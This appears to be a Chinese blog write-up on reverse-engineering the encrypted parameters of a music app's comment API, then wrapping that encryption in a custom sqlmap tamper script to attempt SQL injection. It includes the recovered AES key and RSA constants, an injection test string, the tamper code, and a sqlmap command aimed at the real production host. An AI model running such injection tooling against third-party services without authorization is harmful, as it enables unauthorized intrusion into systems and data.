zoukankan      html  css  js  c++  java
  • 某音乐类App评论相关API的分析及SQL注入尝试

    关键字:APIfen、工具使用、sql注入

    涉及工具/包:Fiddler、Burpsuite、Js2Py、Closure Compiler、selenium、phantomjs、sqlmap

    摘要:

    记录分析某音乐类App评论相关API的过程,以及一些工具/包的基本使用(部分工具对最后尝试没有影响,但在其它场景或许有用),最后结合sqlmap进行注入尝试。本文对于sql注入没有深入展开(水平不够…)。 

    想法来源:本想写个程序获取零评论的歌曲,去占沙发…分析发现获取评论的POST请求参数有点复杂…既然花时间研究了,顺便进行一下sql注入的尝试。

    目录:

    一、获取相关代码 

    1、获取评论的HTTP请求 

    2、寻找主要JS文件 

    3、Fiddler:将JS文件替换成本地JS文件 便于调试 

    4、Fiddler + Burpsuite 

    5、具体发送请求的JS代码 / 构造参数的代码

    二、分析代码: 

    1、windows.asrsea()函数 

    2、JSON.stringify(j7c) 

    3、最关键的加密函数b()

    三、用Python完成JS加密函数的功能 

    1、Js2Py包:直接将JS转换成Python(失败尝试) 

    2、Closure Compiler:JS简化压缩(失败尝试) 

    3、selenium + phantomjs

    四、sqlmap使用自定义tamper 

    1、编写tamper 

    2、sqlmap尝试

    五、总结


    正文

    一、获取相关代码

    1、获取评论的HTTP请求

    1240 (2).jpg

    评论的分页功能一般会用到的参数:第几页、获取几条 等等。 

    但此处POST请求参数并不简单,直接加密成了一长串字符串。

    params:qiilau38siKpZWyjPLd0mz5vmvwuJOPsH4r8CItto4llNtwkngH9RZHNIU05KkQS6cT070G78km+lAAUwZtzmxy4HAKeIxLdIGAt1JEfnIzG3S4N+d+D43aj0Bn82ft3TDhuc+KO0LoRQDmNah1mVNfBa+53wCp17otUTJL5cM3A2OVnG7Zj/F5pLOgwrWuP
    encSecKey:b24e6b596cf6c50c314f480c3d1e34467e1597507d66a5cf9e338cfc5b059a25b82e0a80b78d30893b6605639f42e0842a68032ebc395168c91ddce14c9c9ff5b6fc60b38d479b19cf9b6f8c54c7be27aeebf6c0fc4a32dccb06f5e835f22581045288dec40d9c882e0a6b127958a546b35aacc0500324888d5bb75eec264430
    

    2、寻找主要JS文件

    1240 (1).jpg

    这里的JS文件都是被混淆过的,但如果最后要构造/发送参数,参数名是不能被混淆的。因此,利用参数名encSecKey在JS内容中进行搜索,发现core.js中出现了3次,初步猜测相关的代码都在这里。

    3、Fiddler:将JS文件替换成本地JS文件 便于调试

    1240.jpg

    4、Fiddler + Burpsuite对Fiddler 还不熟悉,在这里仅利用fiddler的替换功能,其它查看分析都在Burp中完成。

    Fiddler 好像没有Burp的截断暂停/方形功能? 

    Burpsuite好像没有Fiddler 那么方便的替换文件功能?

    只需要将Fiddler设置代理 将流量导向Burp的8080即可。 

    选择 Tools-Options 打开设置 

    1240 (6).jpg

    5、具体发送请求的JS代码 / 构造参数的代码

    搜索参数名encSecKey

    var bLN7G = window.asrsea(JSON.stringify(j7c), bdH6B(["流泪", "强"]), bdH6B(Rq1x.md), bdH6B(["爱心", "女孩", "惊恐", "大笑"]));
    e7d.data = k7d.de9V({params: bLN7G.encText, encSecKey: bLN7G.encSecKey})
    console.log(bLN7G.encText);  //添加代码
    console.log(bLN7G.encSecKey)  //添加代码

    进行调试 发现:  

    bLN7G对象、相关的 window.asrsea()成为关键 

    bLN7G.encText对应params 
    bLN7G.encSecKey对应encSecKey

    1240 (5).jpg

    浏览器工具输出内容与Burp内容不完全一样,因为burp内容经过了URL编码

    二、分析代码:

    1、windows.asrsea() 函数

    function a(a) {
        var d, e, b = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789", c = "";
        for (d = 0; a > d; d += 1) e = Math.random() * b.length, e = Math.floor(e), c += b.charAt(e);
        return c
    }
    
    function b(a, b) {
        var c = CryptoJS.enc.Utf8.parse(b), d = CryptoJS.enc.Utf8.parse("0102030405060708"),
            e = CryptoJS.enc.Utf8.parse(a), f = CryptoJS.AES.encrypt(e, c, {iv: d, mode: CryptoJS.mode.CBC});
        return f.toString()
    }
    
    function c(a, b, c) {
        var d, e;
        return setMaxDigits(131), d = new RSAKeyPair(b, "", c), e = encryptedString(d, a)
    }
    
    function d(d, e, f, g) {
        var h = {}, i = a(16);
        return h.encText = b(d, g), h.encText = b(h.encText, i), h.encSecKey = c(i, e, f), h
    }
    
    window.asrsea = d;
    
    var bLN7G = window.asrsea(JSON.stringify(j7c), bdH6B(["流泪", "强"]), bdH6B(Rq1x.md), bdH6B(["爱心", "女孩", "惊恐", "大笑"]));
    

    函数a()

    返回一个固定长度的随机字符串,后续的a(16)可以直接取16个a,”aaaaaaaaaaaaaaaa”。

    函数window.asrsea()即 函数d()

    其中的c()函数传入的3个参数都是常数,猜测h.encSecKey就是一个常数,用抓到的请求包中的参数值直接代替,发现页面成功响应说明猜测正确。

    i = a(16);  //常数 "aaaaaaaaaaaaaaaa"
    
    //e=bdH6B(["流泪", "强"])  猜测为常数
    console.log(bdH6B(["流泪", "强"]);  //确认为常数 010001
    
    //f=bdH6B(Rq1x.md)  猜测为常数
    console.log(Rq1x.md);   //确认为常数 "00e0b509f6259df8642dbc35662901477df22677ec152b5ff68ace615bb7b725152b3ab17a876aea8a5aa76d2e417629ec4ee341f56135fccf695280104e0312ecbda92557c93870114af6c9d05c4f7f0c3685b7a46bee255932575cce10b424d813cfe4875d3e82047b97ddef52741d546b8e289dc6935b3ece0462db0a22b8e7"
    
    h.encSecKey = c(i, e, f)  //可替换成常数: "d473b9eca232f1b4090dd606b0df86de318748dd2eec307e4ed4345030fc4ee30331e598f41d5a6f5befaab94630ea1a1eda7cfade84fbec1a907913d2e4d2c8744bc572b99a050075e075b4537f645ecfa994f95906c32818e076aeda6bdb906bfa0bb96c4cf4bc3ed6d9ab76cf08441153d9d85e1ea3d78fa8d9210d581cee"
    

    根据分析,对代码进行整理:

    function b(parm1, parm2) {
        var f = CryptoJS.AES.encrypt(
            CryptoJS.enc.Utf8.parse(parm1),
            CryptoJS.enc.Utf8.parse(parm2),
            {
                iv: CryptoJS.enc.Utf8.parse("0102030405060708"),
                mode: CryptoJS.mode.CBC
            }
        );
        return f.toString()
    }
    
    window.asrsea = function (parm1, parm2, parm3, parm4) {
        var h = {};
        h.encText = b(b(parm1, "0CoJUm6Qyw8W8jud"), "aaaaaaaaaaaaaaaa");
        h.encSecKey = "d473b9eca232f1b4090dd606b0df86de318748dd2eec307e4ed4345030fc4ee30331e598f41d5a6f5befaab94630ea1a1eda7cfade84fbec1a907913d2e4d2c8744bc572b99a050075e075b4537f645ecfa994f95906c32818e076aeda6bdb906bfa0bb96c4cf4bc3ed6d9ab76cf08441153d9d85e1ea3d78fa8d9210d581cee";
        return h;
    };
    
    var bLN7G = window.asrsea(JSON.stringify(j7c), bdH6B(["流泪", "强"]), bdH6B(Rq1x.md), bdH6B(["爱心", "女孩", "惊恐", "大笑"]));
    

    到目前为止,window.asrsea()的有效参数只剩下第一个JSON.stringify(j7c)

    2、JSON.stringify(j7c)

    console.log(JSON.stringify(j7c))
    

    1240 (7).jpg 
    和评论API相关的 就是

    {"rid":"R_SO_4_28285910","offset":"0","total":"true","limit":"20","csrf_token":""}
    

    在代码中直接修改 offset

    window.asrsea = function (parm1, parm2, parm3, parm4) {
            var h = {};
            if(parm1 == '{"rid":"R_SO_4_28285910","offset":"0","total":"true","limit":"20","csrf_token":""}'){
                parm1 = '{"rid":"R_SO_4_28285910","offset":"1","total":"true","limit":"20","csrf_token":""}'
            }
            h.encText = b(b(parm1, "0CoJUm6Qyw8W8jud"), "aaaaaaaaaaaaaaaa");
            h.encSecKey = "d473b9eca232f1b4090dd606b0df86de318748dd2eec307e4ed4345030fc4ee30331e598f41d5a6f5befaab94630ea1a1eda7cfade84fbec1a907913d2e4d2c8744bc572b99a050075e075b4537f645ecfa994f95906c32818e076aeda6bdb906bfa0bb96c4cf4bc3ed6d9ab76cf08441153d9d85e1ea3d78fa8d9210d581cee";
            return h;
        };
    

    发现页面获取的评论 出现偏移(首页热门评论消失,时间排序从第2条开始获取)。 

    到这里就和平时进行sql注入的情形很像了。

    3、最关键的加密函数b()

    function b(parm1, parm2) {
            var f = CryptoJS.AES.encrypt(
                CryptoJS.enc.Utf8.parse(parm1),
                CryptoJS.enc.Utf8.parse(parm2),
                {
                    iv: CryptoJS.enc.Utf8.parse("0102030405060708"),
                    mode: CryptoJS.mode.CBC
                }
            );
            return f.toString()
        }
    

    发现CryptoJS对象的内容绕来绕去…代码量太多(这里就不贴出来了,太占篇幅) 

    想要寻找简单点的办法

    三、用Python完成JS加密函数的功能

    1、Js2Py包:直接将JS转换成Python(失败尝试)基本使用:

    import js2py
    js2py.translate_file('input.js', 'output.py')  #将input.js的代码转换成output.py
    from output import output
    output.fun()  # 等同于 调用js中的函数 fun()
    

    注意:Js2Py无法识别JS用法:

    可修改为  
    ```var fun_a = function(){}; fun_a();

    使用发生错误,还有很多JS的用法Js2Py不能识别。 

    想先将JS进行简化,再进行转换尝试。

    2、Closure Compiler:JS简化压缩(失败尝试)

    java -jar compiler.jar --compilation_level ADVANCED_OPTIMIZATIONS --js old.js > new.js
    

    --compilation_level ADVANCED_OPTIMIZATIONS 

    智能模式如下 JS代码:

    function a(){
      console.log('1');
    }
    a();
    

    压缩后:自动删除所有无用的代码

    console.log('1');
    

    注意:Compiler无法识别JS非严格模式的用法 
    解决办法: 
    1、arguments.callee被弃用:给函数增加一个函数名 
    2、delete parm修改为parm = null

    简化压缩后,再次尝试Js2Py的转换,依然失败… 

    被混淆的JS代码,暂时没能力去修改到复核Js2Py的格式。

    只能换个思路:Python调用浏览器,让浏览器去执行JS 

    PyV8,没安装成功…

    3、selenium + phantomjs

    selenium 结合 浏览器(比如Firefox需要下载 geckodriver) 

    selenium 结合 phantomjs(类似:不显示内容的浏览器) 速度更快

    第一步、下载phantomjs、geckodriver并将路径添加到系统的PATH环境变量 

    第二步、本地服务器创建php文件,利用原有的JS进行加密然后输出:

    <html>
    <div id="output"></div>
    </html>
    
    <script>
    //...CryptoJS相关的代码...大约400行...
    function my_encode(parm1, parm2) {
            var f = CryptoJS.AES.encrypt(
                CryptoJS.enc.Utf8.parse(parm1),
                CryptoJS.enc.Utf8.parse(parm2),
                {
                    iv: CryptoJS.enc.Utf8.parse("0102030405060708"),
                    mode: CryptoJS.mode.CBC
                }
            );
            return f.toString()
        }
    
    //将收到的内容 赋值给JS变量
    parm1 = '<?php echo $_GET['payload']; ?>';
    
    result = my_encode(my_encode(parm1, "0CoJUm6Qyw8W8jud"), "aaaaaaaaaaaaaaaa");
    document.getElementById("output").innerHTML = encodeURIComponent(result);
    </script>
    

    第三步、selenium结合phantomjs:

    from selenium import webdriver
    
    # browser = webdriver.Firefox()  # 调用Firefox
    browser = webdriver.PhantomJS()
    
    # payload是windows.asrsea()进行加密的第一个参数,
    payload = "{"rid":"R_SO_4_28285910","offset":"0","total":"true","limit":"1 AND 9893=7923","csrf_token":""}"
    
    browser.get('http://127.0.0.1/wyy.php?payload='+payload)
    
    output = browser.find_element_by_id("output")
    
    //获取编码后的 params 参数值
    print output.text
    
    browser.quit()
    

    四、sqlmap使用自定义tamper

    1、编写tamper

    from lib.core.enums import PRIORITY
    from lib.core.settings import UNICODE_ENCODING
    from selenium import webdriver
    
    __priority__ = PRIORITY.LOWEST
    
    def dependencies():
        pass
    
    def tamper(payload, **kwargs):
        browser = webdriver.PhantomJS()
    
        # 对offset参数进行测试
        payload = '{"rid":"R_SO_4_28285910","offset":"'+payload+'","total":"true","limit":"20","csrf_token":""}'
    
        # 对limit参数进行测试
        # payload = '{"rid":"R_SO_4_28285910","offset":"0","total":"true","limit":"'+payload+'","csrf_token":""}'
    
        browser.get('http://127.0.0.1/wyy.php?payload='+payload)
        output = browser.find_element_by_id("output")
        browser.quit()
        return output.text
    

    2、sqlmap尝试

    python sqlmap.py -vvvvvvv -u "music.163.com/weapi/v1/resource/comments/R_SO_4_28285910?csrf_token=" --data="params=...*&encSecKey=..." --param-del="&" --cookie="..." --user-agent="Mozilla/5.0" --method=POST -p "params" --tamper="my_test"
    

    五、总结:

    使用selenium效率肯定没有直接Python直接加密好,但对于混淆过的JS代码,可以省去很大的分析精力…对于类似存在加密的场景,也可以快速进行尝试。 

    对于应用开发来说,即使在前端对参数值进行加密,后端在使用中依然需要进行过滤。


    参考:

    1、https://www.zhihu.com/question/36081767 
    2、https://developers.google.com/closure/compiler/docs/gettingstarted_app 
    3、https://github.com/PiotrDabkowski/Js2Py 
    4、https://pypi.python.org/pypi/selenium/3.8.0 
    5、https://github.com/mozilla/geckodriver 
    6、http://phantomjs.org/

  • 相关阅读:
    一.创建型模式 Factory
    Tcp/Ip I/O函数
    Tcp/Ip协议理解_简单实例
    Tcp/Ip协议理解_3
    Tcp/Ip协议理解_2
    Tcp/Ip协议理解_1
    abp+angular+bootstrap-table的使用
    Abp mvc angular 添加视图
    Abp添加菜单
    JS 获取一串路径中的文件名称
  • 原文地址:https://www.cnblogs.com/h2zZhou/p/8003968.html
Copyright © 2011-2022 走看看